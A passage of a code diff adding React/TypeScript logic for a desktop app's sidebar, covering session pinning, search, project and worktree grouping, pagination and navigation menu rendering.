+    () => (showAllProfiles ? sessions : sessions.filter(s => normalizeProfileKey(s.profile) === profileScope)),
+    [sessions, showAllProfiles, profileScope]
+  )
+
+  // Recents by activity (last_active || started_at). User send stamps
+  // last_active immediately; manual drag order still wins below.
+  const sortedSessions = useMemo(
+    () => [...visibleSessions].sort((a, b) => sessionTime(b) - sessionTime(a)),
+    [visibleSessions]
+  )
+
+  const workingSessionIdSet = useMemo(() => new Set(workingSessionIds), [workingSessionIds])
+
+  // Index sessions by every id a pin might be stored under — recents, cron,
+  // AND messaging, since all three can be pinned (see session-index.ts).
+  const sessionByAnyId = useMemo(
+    () => buildSessionByAnyId(visibleSessions, cronSessions, messagingSessions),
+    [visibleSessions, cronSessions, messagingSessions]
+  )
+
+  const pinnedSessions = useMemo(() => {
+    const seen = new Set<string>()
+    const out: SessionInfo[] = []
+
+    for (const pinId of pinnedSessionIds) {
+      const session = sessionByAnyId.get(pinId)
+
+      if (session && !seen.has(session.id)) {
+        seen.add(session.id)
+        out.push(session)
+      }
+    }
+
+    return out
+  }, [pinnedSessionIds, sessionByAnyId])
+
+  // Every id a pin is reachable under: the raw stored ids, plus BOTH identities
+  // of each session we resolved one to. A pin is stored on the durable lineage
+  // root, but the lists that must filter it out are fed from three independent
+  // fetches (recents, the messaging slice, the backend project tree) and each
+  // can surface the same conversation under either its live tip or its root.
+  // Comparing one identity against the other is how a pinned session ended up
+  // rendered twice — once in Pinned, once in its project group.
+  const pinnedIdentitySet = useMemo(() => {
+    const ids = new Set(pinnedSessionIds)
+
+    for (const session of pinnedSessions) {
+      ids.add(session.id)
+
+      if (session._lineage_root_id) {
+        ids.add(session._lineage_root_id)
+      }
+    }
+
+    return ids
+  }, [pinnedSessionIds, pinnedSessions])
+
+  // A pinned session belongs to the Pinned section and nowhere else, so every
+  // other list filters it out. Match on either identity the row carries — a
+  // backend snapshot can surface either side of a compression tip rotation.
+  const isPinnedSession = useCallback(
+    (session: SessionInfo) =>
+      pinnedIdentitySet.has(session.id) ||
+      (session._lineage_root_id != null && pinnedIdentitySet.has(session._lineage_root_id)),
+    [pinnedIdentitySet]
+  )
+
+  // Full-text search across *all* sessions (not just the loaded page) so 699
+  // sessions stay findable. Debounced; loaded sessions are matched instantly
+  // client-side and merged ahead of the server hits.
+  useEffect(() => {
+    if (!trimmedQuery) {
+      setServerMatches([])
+      setSearchPending(false)
+
+      return
+    }
+
+    let cancelled = false
+
+    setSearchPending(true)
+
+    const id = window.setTimeout(() => {
+      void searchSessions(trimmedQuery)
+        .then(res => {
+          if (!cancelled) {
+            setServerMatches(res.results)
+          }
+        })
+        .catch(() => undefined)
+        .finally(() => {
+          if (!cancelled) {
+            setSearchPending(false)
+          }
+        })
+    }, 200)
+
+    return () => {
+      cancelled = true
+      window.clearTimeout(id)
+    }
+  }, [trimmedQuery])
+
+  const searchResults = useMemo(() => {
+    if (!trimmedQuery) {
+      return []
+    }
+
+    const out = new Map<string, SessionInfo>()
+
+    for (const s of sortedSessions) {
+      if (sessionMatchesSearch(s, trimmedQuery)) {
+        out.set(s.id, s)
+      }
+    }
+
+    for (const match of serverMatches) {
+      if (out.has(match.session_id)) {
+        continue
+      }
+
+      const loaded = sessionByAnyId.get(match.session_id)
+      out.set(match.session_id, loaded ?? searchResultToSession(match))
+    }
+
+    return [...out.values()]
+  }, [trimmedQuery, sortedSessions, serverMatches, sessionByAnyId])
+
+  const unpinnedAgentSessions = useMemo(
+    () => sortedSessions.filter(s => !isPinnedSession(s)),
+    [sortedSessions, isPinnedSession]
+  )
+
+  useEffect(() => {
+    const next = resolveManualSessionOrderIds(
+      unpinnedAgentSessions.map(s => s.id),
+      agentOrderIds,
+      agentOrderManual
+    )
+
+    if (!next.length && agentOrderManual) {
+      setSidebarSessionOrderManual(false)
+    }
+
+    if (!next.length && agentOrderIds.length) {
+      setSidebarSessionOrderIds([])
+
+      return
+    }
+
+    if (next.length && !sameIds(next, agentOrderIds)) {
+      setSidebarSessionOrderIds(next)
+    }
+  }, [agentOrderIds, agentOrderManual, unpinnedAgentSessions])
+
+  // Recents render in recency order. The hand-picked order is layered on per
+  // date group inside the section (orderRowsWithinGroups) rather than baked
+  // into the list here, so a drag ranks a row among its own day's chats
+  // instead of flattening the whole sidebar into an undated manual mode.
+  const agentSessions = unpinnedAgentSessions
+
+  // Recents are local-only: messaging-platform sessions are fetched as their
+  // own slice ($messagingSessions) and rendered in self-managed per-platform
+  // sections below, so there is no source-grouping magic to untangle here.
+  //
+  // Workspace grouping is a `project -> repo -> lane -> sessions` tree computed
+  // authoritatively on the backend (projects.tree). Parents reorder via
+  // workspaceParentOrderIds; worktrees within a parent via workspaceOrderIds.
+  const worktreeGroupingActive = agentsGrouped && !showAllProfiles
+  const gatewayReady = gatewayState === 'open'
+
+  // The backend project tree is a structural snapshot, NOT a per-message feed.
+  // Refresh it on structural edges only — entering the grouped view, a profile
+  // switch, gateway (re)connect — plus the once-per-run disk scan. Live session
+  // changes between refreshes are reflected by the in-memory overlay
+  // (overlayLiveLanes / overlayLivePreviews) off `$sessions`, so a turn
+  // completing does NOT re-run the heavy list_sessions_rich scan. Project
+  // mutations refresh the tree from their own store actions.
+  useEffect(() => {
+    if (worktreeGroupingActive && gatewayReady) {
+      void refreshProjects()
+      // Paint the list from the fast tree fetch (explicit projects + repos from
+      // existing sessions / the backend cache) FIRST, then kick off the heavy
+      // home-dir git crawl so newly-discovered repos fold in afterward — instead
+      // of the crawl blocking the first render.
+      void refreshProjectTree().finally(() => void scanAndRecordRepos())
+    }
+  }, [worktreeGroupingActive, profileScope, gatewayReady])
+
+  // Out-of-band repo changes (a `git init` / `rm -rf` in another terminal) emit
+  // no git events, so — like every git GUI — re-pull on window focus / tab
+  // visibility instead of stranding the tree until a hard reload. The tree
+  // fetch is cheap and runs every focus (picks up explicit create/delete +
+  // session regrouping); the heavy disk crawl that surfaces brand-new repos is
+  // throttled. Agent-driven changes already refresh via $workspaceChangeTick.
+  useEffect(() => {
+    if (!worktreeGroupingActive || !gatewayReady) {
+      return
+    }
+
+    let lastScanAt = 0
+    const SCAN_THROTTLE_MS = 30_000
+
+    const onActive = () => {
+      if (document.visibilityState === 'hidden') {
+        return
+      }
+
+      void refreshProjects()
+      void refreshProjectTree()
+
+      const now = Date.now()
+
+      if (now - lastScanAt >= SCAN_THROTTLE_MS) {
+        lastScanAt = now
+        void scanAndRecordRepos(true)
+      }
+    }
+
+    window.addEventListener('focus', onActive)
+    document.addEventListener('visibilitychange', onActive)
+
+    return () => {
+      window.removeEventListener('focus', onActive)
+      document.removeEventListener('visibilitychange', onActive)
+    }
+  }, [worktreeGroupingActive, gatewayReady])
+
+  // Apply the persisted repo + worktree orders to a project's repo subtrees.
+  const orderRepos = useCallback(
+    (repos: SidebarWorkspaceTree[]): SidebarWorkspaceTree[] =>
+      orderByIds(repos, parent => parent.id, workspaceParentOrderIds).map(parent => ({
+        ...parent,
+        groups: orderByIds(parent.groups, group => group.id, workspaceOrderIds)
+      })),
+    [workspaceParentOrderIds, workspaceOrderIds]
+  )
+
+  // ── Projects: the single top-level model (authoritative, from the backend) ──
+  // `projects.tree` already unifies explicit projects + auto repos and folds
+  // linked worktrees under their main repo. The desktop only layers local view
+  // state on top: dismissed auto-projects, persisted repo/lane order, and the
+  // overview sort. Membership is the backend tree's — never re-derived here.
+  const projectModel = useMemo<SidebarProjectTree[]>(() => {
+    if (showAllProfiles) {
+      return []
+    }
+
+    const sorted = sortProjectsForOverview(
+      filterVisibleProjects(projectTree, dismissedAutoProjects).map(project =>
+        excludeProjectSessions(
+          {
+            ...project,
+            // Home is synthetic, so its name is ours to translate — every other
+            // label is a repo basename or a name the user typed.
+            label: project.isNoProject ? s.projects.home : project.label,
+            repos: orderRepos(project.repos)
+          },
+          isPinnedSession
+        )
+      ),
+      activeProjectId
+    )
+
+    // Layer the user's manual drag-order on top of the deterministic sort. Empty
+    // (default) returns `sorted` untouched; projects the user hasn't ordered yet
+    // keep their sorted position rather than jumping the hand-picked list.
+    return orderProjectsByIds(sorted, projectOrderIds)
+  }, [
+    showAllProfiles,
+    projectTree,
+    dismissedAutoProjects,
+    orderRepos,
+    activeProjectId,
+    projectOrderIds,
+    isPinnedSession,
+    s
+  ])
+
+  // The overview only renders in grouped mode; the model stays live regardless
+  // so scoping is consistent across views.
+  const agentProjectTree = worktreeGroupingActive ? projectModel : undefined
+
+  // ── Project switcher (drill-in) ────────────────────────────────────────────
+  // Grouped, single-profile view is a project switcher: ALL_PROJECTS shows the
+  // overview (a list you click into); a concrete scope means you've "entered" a
+  // project, so the Sessions list shows ONLY that project's worktrees/sessions.
+  const projectsActive = Boolean(agentProjectTree?.length)
+
+  // The overview node for the entered project (structure + counts, empty lanes).
+  const overviewEnteredProject =
+    projectsActive && projectScope !== ALL_PROJECTS
+      ? agentProjectTree?.find(node => node.id === projectScope)
+      : undefined
+
+  const inProject = Boolean(overviewEnteredProject)
+  const enteredProjectId = overviewEnteredProject?.id
+
+  // Entering a project lazily hydrates its full lanes (repo -> lane -> sessions)
+  // from the backend — same grouping/ids as the overview, just with rows.
+  const [enteredProjectTree, setEnteredProjectTree] = useState<SidebarProjectTree | null>(null)
+
+  useEffect(() => {
+    if (!enteredProjectId || !gatewayReady) {
+      setEnteredProjectTree(null)
+
+      return
+    }
+
+    let cancelled = false
+
+    void fetchProjectSessions(enteredProjectId).then(project => {
+      if (!cancelled) {
+        setEnteredProjectTree(project)
+      }
+    })
+
+    return () => {
+      cancelled = true
+    }
+    // `projectTree` in deps: re-hydrate after a tree refresh so the entered view
+    // stays current with new/ended sessions.
+  }, [enteredProjectId, gatewayReady, projectTree])
+
+  // Prefer the hydrated tree; fall back to the overview node (empty lanes) while
+  // the drill-in fetch is in flight, so the header/structure render immediately.
+  const enteredProject = useMemo<SidebarProjectTree | undefined>(() => {
+    if (!overviewEnteredProject) {
+      return undefined
+    }
+
+    const hydrated =
+      enteredProjectTree && enteredProjectTree.id === overviewEnteredProject.id
+        ? enteredProjectTree
+        : overviewEnteredProject
+
+    // The live-session overlay (creates/evictions) is applied per-repo in
+    // RepoFlatSection, AFTER the visual git-worktree lanes are merged in (so
+    // out-of-tree worktrees can be placed). Here we just order the snapshot and
+    // drop pinned rows — the hydrated lanes come straight from the backend, so
+    // they haven't been through projectModel's filter.
+    // The label comes from the overview node either way — that's the model's
+    // presentation copy (Home is translated there), not the raw payload's.
+    return excludeProjectSessions(
+      { ...hydrated, label: overviewEnteredProject.label, repos: orderRepos(hydrated.repos) },
+      isPinnedSession
+    )
+  }, [overviewEnteredProject, enteredProjectTree, orderRepos, isPinnedSession])
+
+  // Overlay live `$sessions` onto the entered project so a just-created session
+  // (which the backend snapshot hasn't folded in yet) counts as content and
+  // renders immediately — same optimistic layer as the overview previews. The
+  // backend now seeds each project folder as an (empty) repo, so the overlay
+  // always has a lane to place a new in-project session into.
+  const enteredProjectContent = useMemo(
+    () => (enteredProject ? overlayLiveLanes(enteredProject, agentSessions, removedSessionIds) : undefined),
+    [enteredProject, agentSessions, removedSessionIds]
+  )
+
+  const scopedRepoPaths = useMemo(
+    () =>
+      enteredProject ? enteredProject.repos.map(repo => repo.path).filter((path): path is string => Boolean(path)) : [],
+    [enteredProject]
+  )
+
+  // git worktree list is a VISUAL-only enhancer (empty lanes); never membership.
+  const inEnteredProject = Boolean(enteredProject && !showAllProfiles)
+  const [scopedRepoWorktrees] = useRepoWorktreeMap(scopedRepoPaths, inEnteredProject)
+
+  // Re-probe worktree lanes on out-of-band git changes the renderer can't see.
+  // A turn can `git worktree add/remove` in the terminal (e.g. you ask ClawCodex to
+  // "remove that worktree"), and the window never blurs during an in-app chat,
+  // so nothing would otherwise re-run the visual probe. Re-sync when a working
+  // session settles (its turn finished) or the window refocuses (an external
+  // terminal may have changed things) — only while a project is entered, and
+  // only the cheap per-repo `git worktree list`, never the heavy tree scan.
+  const prevWorkingIdsRef = useRef<readonly string[]>(workingSessionIds)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const prev = prevWorkingIdsRef.current
+    prevWorkingIdsRef.current = workingSessionIds
+
+    // A session leaving the working set means its turn just completed.
+    const aTurnSettled = prev.some(id => !workingSessionIds.includes(id))
+
+    if (inEnteredProject && aTurnSettled) {
+      refreshWorktrees()
+    }
+  }, [workingSessionIds, inEnteredProject])
+
+  useEffect(() => {
+    if (!inEnteredProject) {
+      return
+    }
+
+    const onFocus = () => refreshWorktrees()
+    window.addEventListener('focus', onFocus)
+
+    return () => window.removeEventListener('focus', onFocus)
+  }, [inEnteredProject])
+
+  const lastProjectCwdSyncRef = useRef<null | string>(null)
+
+  const syncProjectCwd = useCallback(
+    (project: SidebarProjectTree) => {
+      const target = projectTreeCwd(project)
+
+      if (target && target !== currentCwd) {
+        setCurrentCwd(target)
+      }
+    },
+    [currentCwd]
+  )
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!inProject || !enteredProject) {
+      lastProjectCwdSyncRef.current = null
+
+      return
+    }
+
+    if (lastProjectCwdSyncRef.current === enteredProject.id) {
+      return
+    }
+
+    syncProjectCwd(enteredProject)
+    lastProjectCwdSyncRef.current = enteredProject.id
+  }, [inProject, enteredProject, syncProjectCwd])
+
+  // A persisted scope can go stale (project archived/removed, or a profile
+  // switch swapped the whole catalog). Once projects have loaded, drop back to
+  // the overview if the scoped id is gone.
+  useEffect(() => {
+    if (projectScope !== ALL_PROJECTS && projectsActive && !enteredProject) {
+      exitProjectScope()
+    }
+  }, [projectScope, projectsActive, enteredProject])
+
+  // The project overview (drill-in list) vs. the entered project's content.
+  const projectOverview = projectsActive && !inProject ? agentProjectTree : undefined
+
+  // Preview rows come from the backend tree (each project carries its
+  // most-recent sessions), overlaid with live $sessions so a just-created
+  // session shows under its project instantly (and with its working arc),
+  // matching the flat Recents list. Keyed by project id for the rows.
+  const overviewPreviews = useMemo<Record<string, SessionInfo[]>>(
+    () => overlayLivePreviews(projectOverview ?? [], agentSessions, projects, PROJECT_PREVIEW_COUNT, removedSessionIds),
+    [projectOverview, agentSessions, projects, removedSessionIds]
+  )
+
+  const onEnterProject = useCallback(
+    (id: string) => {
+      const project = projectModel.find(node => node.id === id)
+
+      if (project) {
+        syncProjectCwd(project)
+      }
+
+      enterProject(id)
+    },
+    [projectModel, syncProjectCwd]
+  )
+
+  // The Sessions section is a project switcher in grouped mode: its label reads
+  // "Sessions" when flat, "Projects" at the overview, and the project's name
+  // once you've entered one.
+  const sessionsLabel =
+    inProject && enteredProject ? enteredProject.label : worktreeGroupingActive ? s.projects.sectionLabel : s.sessions
+
+  // Mirror the section's skeleton gate (projectsLoading + nothing to show yet):
+  // while the skeleton is up there's no point also spinning the header count.
+  const projectsSkeletonVisible =
+    worktreeGroupingActive &&
+    projectTreeLoading &&
+    !projectOverview?.length &&
+    !(inProject && (enteredProject?.sessionCount ?? 0) > 0)
+
+  const runKeyedLoad = useCallback(
+    (
+      key: string,
+      load: ((key: string) => Promise<void> | void) | undefined,
+      setPending: React.Dispatch<React.SetStateAction<Record<string, boolean>>>
+    ) => {
+      if (!load) {
+        return
+      }
+
+      setPending(prev => ({ ...prev, [key]: true }))
+
+      void Promise.resolve(load(key))
+        .catch(() => undefined)
+        .finally(() => setPending(({ [key]: _done, ...rest }) => rest))
+    },
+    []
+  )
+
+  const loadMoreForProfileGroup = useCallback(
+    (profile: string) => runKeyedLoad(profile, onLoadMoreProfileSessions, setProfileLoadMorePending),
+    [onLoadMoreProfileSessions, runKeyedLoad]
+  )
+
+  const loadMoreForMessaging = useCallback(
+    (platform: string) => runKeyedLoad(platform, onLoadMoreMessaging, setMessagingLoadMorePending),
+    [onLoadMoreMessaging, runKeyedLoad]
+  )
+
+  // Reveal another batch of a platform's rows; fetch from the backend too if we
+  // run past what's loaded and more remain on disk.
+  const revealMoreMessaging = (platform: string, loaded: number, hasMore: boolean) => {
+    const next = (messagingVisible[platform] ?? NON_SESSION_INITIAL_ROWS) + NON_SESSION_LOAD_STEP
+
+    setMessagingVisible(prev => ({ ...prev, [platform]: next }))
+
+    if (next > loaded && hasMore) {
+      loadMoreForMessaging(platform)
+    }
+  }
+
+  // Each messaging platform is its own self-managed section: split the
+  // separately-fetched messaging slice by source, newest platform first, rows
+  // within a platform by recency. Per-platform totals (when a "load more" has
+  // resolved them) drive the count + whether more remain on disk.
+  const messagingGroups = useMemo<MessagingSection[]>(() => {
+    if (!messagingSessions.length) {
+      return []
+    }
+
+    const bySource = new Map<string, SessionInfo[]>()
+    // Rows this platform owns that the Pinned section is showing instead. The
+    // backend's per-platform total counts them, so discount it or "load more"
+    // promises rows that will never appear.
+    const pinnedBySource = new Map<string, number>()
+
+    for (const session of messagingSessions) {
+      const sourceId = normalizeSessionSource(session.source)
+
+      if (!sourceId) {
+        continue
+      }
+
+      if (isPinnedSession(session)) {
+        pinnedBySource.set(sourceId, (pinnedBySource.get(sourceId) ?? 0) + 1)
+
+        continue
+      }
+
+      const list = bySource.get(sourceId) ?? []
+      list.push(session)
+      bySource.set(sourceId, list)
+    }
+
+    return [...bySource.entries()]
+      .map(([sourceId, list]) => {
+        const ordered = [...list].sort((a, b) => sessionTime(b) - sessionTime(a))
+        const known = messagingPlatformTotals[sourceId]
+        const unpinnedKnown = known == null ? null : Math.max(0, known - (pinnedBySource.get(sourceId) ?? 0))
+        const total = Math.max(ordered.length, unpinnedKnown ?? 0)
+
+        return {
+          // Known exact total → more exist iff total exceeds loaded; otherwise
+          // the seed fetch was capped, so assume more until a per-platform load
+          // resolves the count.
+          hasMore: unpinnedKnown != null ? unpinnedKnown > ordered.length : messagingTruncated,
+          label: sessionSourceLabel(sourceId) ?? sourceId,
+          sessions: ordered,
+          sourceId,
+          total
+        }
+      })
+      .sort((a, b) => sessionTime(b.sessions[0]) - sessionTime(a.sessions[0]))
+  }, [messagingSessions, messagingPlatformTotals, messagingTruncated, isPinnedSession])
+
+  // ALL-profiles view: one collapsible group per profile, color on the header
+  // (not on every row). Default profile floats to the top, the rest alpha.
+  const profileGroups = useMemo<SidebarSessionGroup[] | undefined>(() => {
+    if (!showAllProfiles) {
+      return undefined
+    }
+
+    const groups = new Map<string, SidebarSessionGroup>()
+
+    for (const session of agentSessions) {
+      const key = normalizeProfileKey(session.profile)
+
+      const group = groups.get(key) ?? {
+        color: profileColor(key),
+        id: key,
+        label: key,
+        mode: 'profile',
+        path: null,
+        sessions: []
+      }
+
+      group.sessions.push(session)
+
+      groups.set(key, group)
+    }
+
+    return (
+      [...groups.values()]
+        .map(group => ({
+          ...group,
+          loadingMore: Boolean(profileLoadMorePending[group.id]),
+          onLoadMore: onLoadMoreProfileSessions ? () => loadMoreForProfileGroup(group.id) : undefined,
+          hasMore: Boolean(sessionProfilesTruncated[group.id])
+        }))
+        // default (root) first, then the rest alphabetically.
+        .sort((a, b) => (a.id === 'default' ? -1 : b.id === 'default' ? 1 : a.label.localeCompare(b.label)))
+    )
+  }, [
+    showAllProfiles,
+    agentSessions,
+    loadMoreForProfileGroup,
+    onLoadMoreProfileSessions,
+    profileLoadMorePending,
+    sessionProfilesTruncated
+  ])
+
+  // The flat Sessions list always shows ALL recent sessions; Projects is a
+  // parallel grouped view, not a filter on this one — nothing is hidden here.
+  const displayAgentSessions = agentSessions
+
+  // Pagination is scope-aware. In "All profiles" mode it tracks the global
+  // unified set; scoped to one profile it tracks that profile's own truncation
+  // flag — otherwise a huge default profile keeps "Load more" stuck on while
+  // you browse a small one. The backend reports whether its page was capped
+  // rather than an exact count, so no COUNT(*) runs per refresh.
+  const loadedSessionCount = showAllProfiles ? sessions.length : visibleSessions.length
+
+  const hasMoreSessions = showAllProfiles
+    ? Object.values(sessionProfilesTruncated).some(Boolean)
+    : Boolean(sessionProfilesTruncated[profileScope])
+
+  const displayRecentsCountRef = useRef(0)
+  const loadedRecentsCountRef = useRef(0)
+  displayRecentsCountRef.current = displayAgentSessions.length
+  loadedRecentsCountRef.current = loadedSessionCount
+
+  const onLoadMoreRecents = useCallback(async () => {
+    if (recentsLoadMorePending) {
+      return
+    }
+
+    setRecentsLoadMorePending(true)
+
+    try {
+      const startVisible = displayRecentsCountRef.current
+      const targetVisible = startVisible + SIDEBAR_SESSIONS_PAGE_SIZE
+      let lastLoaded = loadedRecentsCountRef.current
+
+      // Project-less recents can be sparse in the global recent stream (because
+      // project-scoped sessions are filtered out in the UI). Keep paging until
+      // we actually reveal a full page of visible rows, or the backend window
+      // stops growing.
+      for (let attempt = 0; attempt < 6; attempt += 1) {
+        await Promise.resolve(onLoadMoreSessions())
+        await new Promise<void>(resolve => window.requestAnimationFrame(() => resolve()))
+
+        const visibleNow = displayRecentsCountRef.current
+        const loadedNow = loadedRecentsCountRef.current
+
+        if (visibleNow >= targetVisible) {
+          break
+        }
+
+        if (loadedNow <= lastLoaded) {
+          break
+        }
+
+        lastLoaded = loadedNow
+      }
+    } finally {
+      setRecentsLoadMorePending(false)
+    }
+  }, [onLoadMoreSessions, recentsLoadMorePending])
+
+  const displayAgentGroups = showAllProfiles ? profileGroups : undefined
+
+  // The recents list owns its own (virtualized) scroll container only when it's a
+  // long flat list. In that case it must keep its scroller even in short mode, so
+  // we don't flatten it (flattening would defeat virtualization). Short flat lists
+  // and grouped views (profile groups or the worktree tree) flatten into the
+  // single outer scroll instead.
+  // Whichever grouping is active, the flat set of repo subtrees on screen — the
+  // single source for reconciling repo/worktree order, whether repos hang off
+  // the bare tree or are nested under projects.
+  const activeRepoTrees = useMemo<SidebarWorkspaceTree[]>(
+    () => (agentProjectTree ? agentProjectTree.flatMap(project => project.repos) : []),
+    [agentProjectTree]
+  )
+
+  const recentsVirtualizes =
+    !displayAgentGroups?.length && !agentProjectTree?.length && displayAgentSessions.length >= VIRTUALIZE_THRESHOLD
+
+  // Keep the persisted parent + worktree orders reconciled with what's on screen:
+  // freshly-seen repos/worktrees surface at the top, vanished ones drop out of
+  // the saved order.
+  useEffect(() => {
+    if (!activeRepoTrees.length) {
+      return
+    }
+
+    const nextParents = reconcileOrderIds(
+      activeRepoTrees.map(parent => parent.id),
+      workspaceParentOrderIds
+    )
+
+    if (!sameIds(nextParents, workspaceParentOrderIds)) {
+      setSidebarWorkspaceParentOrderIds(nextParents)
+    }
+
+    const nextWorktrees = reconcileOrderIds(
+      activeRepoTrees.flatMap(parent => parent.groups.map(group => group.id)),
+      workspaceOrderIds
+    )
+
+    if (!sameIds(nextWorktrees, workspaceOrderIds)) {
+      setSidebarWorkspaceOrderIds(nextWorktrees)
+    }
+  }, [activeRepoTrees, workspaceParentOrderIds, workspaceOrderIds])
+
+  const showSessionSkeletons = sessionsLoading && sortedSessions.length === 0
+
+  const showSessionSections = showSessionSkeletons || sortedSessions.length > 0 || projectModel.length > 0
+
+  // Each reorderable list reports its OWN new id order; persisting is a direct,
+  // typed write — no id-prefix sniffing to figure out which level moved.
+  const reorderSessions = (ids: string[]) => {
+    setSidebarSessionOrderManual(true)
+    setSidebarSessionOrderIds(ids)
+  }
+
+  // Persist the new project overview order (drag-to-reorder); orderByIds applies
+  // it over the default sort, so stale/new ids reconcile on the next render.
+  const reorderProjects = (ids: string[]) => setSidebarProjectOrderIds(ids)
+
+  // Sortable rows carry live session ids; the pinned store is keyed by durable
+  // (lineage-root) ids, so translate before persisting the new order.
+  const reorderPinned = (ids: string[]) =>
+    setPinnedSessionOrder(
+      ids.map(id => {
+        const session = sessionByAnyId.get(id)
+
+        return session ? sessionPinId(session) : id
+      })
+    )
+
+  return (
+    <Sidebar
+      className={cn(
+        // Visibility is the layout tree's job (a hidden zone is display:none;
+        // the narrow overlay renders the live instance) — the sidebar always
+        // paints itself fully.
+        'relative h-full min-w-0 overflow-hidden border-t-0 border-b-0 text-foreground transition-none',
+        panesFlipped ? 'border-l border-r-0' : 'border-r border-l-0',
+        'border-(--sidebar-edge-border) bg-(--ui-sidebar-surface-background) opacity-100'
+      )}
+      collapsible="none"
+    >
+      <SidebarContent className="gap-0 overflow-hidden bg-transparent px-2.5">
+        <SidebarGroup className="shrink-0 p-0 pb-2 pt-[calc(var(--titlebar-height)+0.375rem)]">
+          <SidebarGroupContent>
+            <SidebarMenu className="gap-px">
+              {[...SIDEBAR_NAV, ...contributedNav].map(item => {
+                const isInteractive = Boolean(item.action) || Boolean(item.route)
+
+                const active =
+                  (item.id === 'skills' && currentView === 'skills') ||
+                  (item.id === 'messaging' && currentView === 'messaging') ||
+                  (item.id === 'artifacts' && currentView === 'artifacts') ||
+                  // Contributed rows light up at their own route.
+                  (Boolean(item.route) && pathname === item.route)
+
+                const isNewSession = item.id === 'new-session'
+
+                const button = (
+                  <SidebarMenuButton
+                    aria-disabled={!isInteractive}
+                    className={cn(
+                      // no-drag: these rows sit directly under the titlebar's
+                      // [-webkit-app-region:drag] strips (app-shell.tsx), with only
+                      // 6px of clearance. Drag regions win hit-testing over DOM
+                      // (pointer-events can't override), and on Linux/WSLg the
+                      // resolved region has been observed to swallow clicks on the
+                      // top rows. Same carve-out as USER_BUBBLE_BASE_CLASS in
+                      // thread.tsx.
+                      'flex h-7 w-full justify-start gap-2 rounded-md border border-transparent px-2 text-left text-[0.8125rem] font-medium text-(--ui-text-secondary) transition-colors duration-100 ease-out [-webkit-app-region:no-drag] hover:bg-(--ui-control-hover-background) hover:text-foreground hover:transition-none',
+                      active &&
+                        'border-(--ui-stroke-tertiary) bg-(--ui-control-active-background) text-foreground shadow-none hover:border-(--ui-stroke-tertiary)!',
+                      !isInteractive &&
+                        'cursor-default hover:border-transparent hover:bg-transparent hover:text-inherit'
+                    )}
+                    onClick={() => {
+                      // A plain new session lands in whatever profile the live
+                      // gateway is on (= the active switcher context). null →
+                      // no swap. The switcher header is the single place to
+                      // change which profile that is.
+                      if (isNewSession) {
+                        $newChatProfile.set(null)
+                      }
+
+                      onNavigate(item)
+                    }}
+                    tooltip={
+                      item.keybindActionId
+                        ? {
+                            children: (
+                              <TipKeybindLabel actionId={item.keybindActionId} text={s.nav[item.id] ?? item.label} />
+                            )
+                          }
+                        : (s.nav[item.id] ?? item.label)
+                    }
+                    type="button"
+                  >
+                    <item.icon className="size-4 shrink-0 text-[color-mix(in_srgb,currentColor_72%,transparent)]" />
+                    <span className="min-w-0 flex-1 truncate">{s.nav[item.id] ?? item.label}</span>
+                    {isNewSession && (
+                      <KbdGroup
+                        className={cn('ml-auto opacity-55', newSessionKbdFlash && 'opacity-100!')}
+                        keys={newSessionKbd}
+                        size="sm"
+                      />
+                    )}
+                  </SidebarMenuButton>
+                )
+
+                // New session + route-backed pages can open in a split —
+                // right-click for the directional "Open in split" submenu.
+                return (
+                  <SidebarMenuItem key={item.id}>
+                    {isNewSession || item.route ? (
+                      <ContextMenu>
+                        <ContextMenuTrigger asChild>{button}</ContextMenuTrigger>
+                        <ContextMenuContent aria-label={s.nav[item.id] ?? item.label}>
+                          <SplitSubmenu
+                            kit={CONTEXT_SPLIT_KIT}
+                            label={s.row.openInSplit}
+                            onSplit={dir => {
+                              if (isNewSession) {
+                                onNewSessionSplit(dir)
+                              } else if (item.route) {
+                                openRouteTile(item.route, dir)
+                              }
+                            }}
+                          />
+                        </ContextMenuContent>
+                      </ContextMenu>
+                    ) : (
+                      button
+                    )}
+                  </SidebarMenuItem>
+                )
+              })}
+            </SidebarMenu>
+          </SidebarGroupContent>
+        </SidebarGroup>
+
+        {showSessionSections && (
+          <div className="shrink-0 px-2 pb-1 pt-1">
+            <SearchField
+              aria-label={s.searchAria}
+              inputRef={searchInputRef}
+              onChange={setSearchQuery}
+              placeholder={s.searchPlaceholder}
+              value={searchQuery}
+            />
+          </div>
+        )}
+
+        {showSessionSections && (
+          <div className={cn('flex min-h-0 flex-1 flex-col pb-1.75', SCROLL_Y)}>
+            {trimmedQuery && (
+              <SidebarSessionsSection
+                activeSessionId={activeSidebarSessionId}
+                contentClassName={cn('flex min-h-0 flex-1 flex-col gap-px pb-1.75', SCROLL_Y)}
+                emptyState={
+                  searchPending ? (
+                    <SidebarSessionSkeletons />
+                  ) : (
+                    <div className="wrap-anywhere grid min-h-24 place-items-center rounded-lg px-2 text-center text-xs text-(--ui-text-tertiary)">
+                      {s.noMatch(trimmedQuery)}
+                    </div>
+                  )
+                }
+                label={s.results}
+                onArchiveSession={onArchiveSession}
+                onBranchSession={onBranchSession}
+                onDeleteSession={onDeleteSession}
+                onResumeSession={onResumeSession}
+                onToggle={() => undefined}
+                onTogglePin={pinSession}
+                open
+                pinned={false}
+                rootClassName="min-h-32 flex-1 overflow-hidden p-0"
+                sessions={searchResults}
+                showProfileTags={showAllProfiles}
+                workingSessionIdSet={workingSessionIdSet}
+              />
+            )}
+
+            {!trimmedQuery && (
+              <SidebarSessionsSection
+                activeSessionId={activeSidebarSessionId}
+                contentClassName="flex flex-col gap-px rounded-lg pb-2 pt-1"
+                dndSensors={dndSensors}
+                emptyState={<SidebarPinnedEmptyState />}
+                label={s.pinned}
+                onArchiveSession={onArchiveSession}
+                onBranchSession={onBranchSession}
+                onDeleteSession={onDeleteSession}
+                onReorderSessions={reorderPinned}
+                onResumeSession={onResumeSession}
+                onToggle={() => setSidebarPinsOpen(!pinsOpen)}
+                onTogglePin={unpinSession}
+                open={pinsOpen}
+                pinned
+                rootClassName="shrink-0 p-0 pb-1"
+                sessions={pinnedSessions}
+                showProfileTags={showAllProfiles}
+                sortable={pinnedSessions.length > 1}
+                workingSessionIdSet={workingSessionIdSet}
+              />
+            )}
+
+            {!trimmedQuery && (
+              <SidebarSessionsSection
+                activeProjectId={activeProjectId}
+                activeSessionId={activeSidebarSessionId}
+                collapsible={!inProject}
+                contentClassName={cn(
